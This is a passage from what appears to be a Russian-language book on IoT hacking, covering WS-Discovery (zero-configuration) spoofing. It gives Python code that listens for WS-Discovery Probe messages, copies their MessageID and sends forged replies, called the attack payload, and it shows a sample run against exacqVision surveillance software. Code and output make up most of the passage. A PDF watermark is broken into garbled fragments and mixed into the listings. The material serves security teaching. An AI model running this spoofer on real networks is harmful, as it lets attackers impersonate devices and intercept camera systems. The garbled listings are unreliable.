sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('239.255.255.250', 3702))
mreq = struct.pack("=4sl", socket.inet_aton("239.255.255.250"), socket.INADDR_ANY) sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
Мы создаем сокет UDP и устанавливаем опцию сокета SO_REUSEADDR,которая позволяет сокету привязываться к тому же порту вся- кий раз, когда мы перезапускаем скрипт. Затем выполняем привязку к широковещательному адресу 239.255.255.250 на порту 3702,потому что это стандартный адрес многоадресной рассылки и порт по умол- чанию, используемые в WS-Discovery. Мы также должны сообщить ядру, что мы заинтересованы в получении сетевого трафика, направ- ленного на 239.255.255.250, путем присоединения к этому группово- му адресу многоадресной рассылки.
В листинге 6.6 показана заключительная часть нашего кода, кото- рая включает основной цикл.
Листинг 6.6. Основной цикл, который получает сообщение WS-Discovery Probe, извлекает MessageID и отправляет полезные данные атаки
while True:
print("Waiting for WS-Discovery message...\n", file=sys.stderr) data, addr = sock.recvfrom(1024)
if data:
server_addr = addr[0] server_port = addr[1]
print('Received from: %s:%s' % (server_addr, server_port), file=sys.stderr) print('%s' % (data), file=sys.stderr)
print("\n", file=sys.stderr)
#если это не WS-Discovery Probe, то распознавание не выполняем if "Probe" not in data:
continue
#сначала находим тег MessageID
Использование сети с нулевой конфигурацией 187
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
m = data.find("MessageID")
#начинаем искать "uuid" начиная с текущего места в буфере u = data[m:-1].find("uuid")
num = m + u + len("uuid:")
#теперь ищем закрывающий тег
end = data[num:-1].find("<")
#извлекаем uuid из MessageID orig_uuid = data[num:num + end]
print('Extracted MessageID UUID %s' % (orig_uuid), file=sys.stderr)
#заменяем _PROBEUUID_ в буфере извлеченным значением
buf = orig_buf
buf = buf.replace("_PROBEUUID_", orig_uuid)
# создаем новый случайный UUID для каждого пакета buf = buf.replace("_MESSAGEID_", str(uuid.uuid4()))
print("Sending WS reply to %s:%s\n" % (server_addr, server_port), file=sys.stderr)
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp_socket.sendto(buf, (server_addr, server_port))
Сценарий входит в бесконечный цикл, в котором он ожидает со- общения WS-Discovery Probe , пока мы его не остановим (Ctrl+C осуществляет выход из цикла в Linux). Получая пакет, содержащий данные, мы получаем IP-адрес отправителя и порт и сохраняем их в переменных server_addr и server_port соответственно. Затем про- веряем, включена ли строка "Probe" в полученный пакет; если это так, мы предполагаем, что этот пакет является зондом WS-Discovery. В противном случае мы больше ничего не делаем с пакетом.
Затем мы пытаемся найти и извлечь UUID из тега MessageID XML без использования какой-либо части библиотеки XML (поскольку это создастненужные накладные расходы и усложнитстольпростую опе- рацию),полагаясьтольконабазовыеманипуляциисостроками.Мы заменяем заполнитель _PROBEUUID_ из листинга 6.3 на извлеченный UUID и создаем новый случайный UUID для замены заполнителя _MESSAGE_ID . Затем отправляем UDP пакет обратно отправителю .
Вот пример запуска скрипта для программного обеспечения exac- qVision:
root@kali:~/zeroconf/ws-discovery# python3 exacq-complete.py
Waiting for WS-Discovery message...
Received from: 192.168.10.169:54374
<?xml version="1.1" encoding="utf-8"?><Envelope xmlns:dn="http://www.onvif.org/ver10/network/ wsdl" xmlns="http://www.w3.org/2003/05/soap-envelope"><Header><wsa:MessageID xmlns:wsa="http:// schemas.xmlsoap.org/ws/2004/08/addressing">urn:uuid:2ed72754-2c2f-4d10-8f50-79d67140d268</ wsa:MessageID><wsa:To xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/ addressing">urn:schemasxmlsoap-
org:ws:2005:04:discovery</wsa:To><wsa:Action xmlns:wsa="http://schemas.xmlsoap.org/ ws/2004/08/addressing">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</wsa:Action></ Header><Body><Probe xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance xmlns:xsd=http://www.
188 Глава 6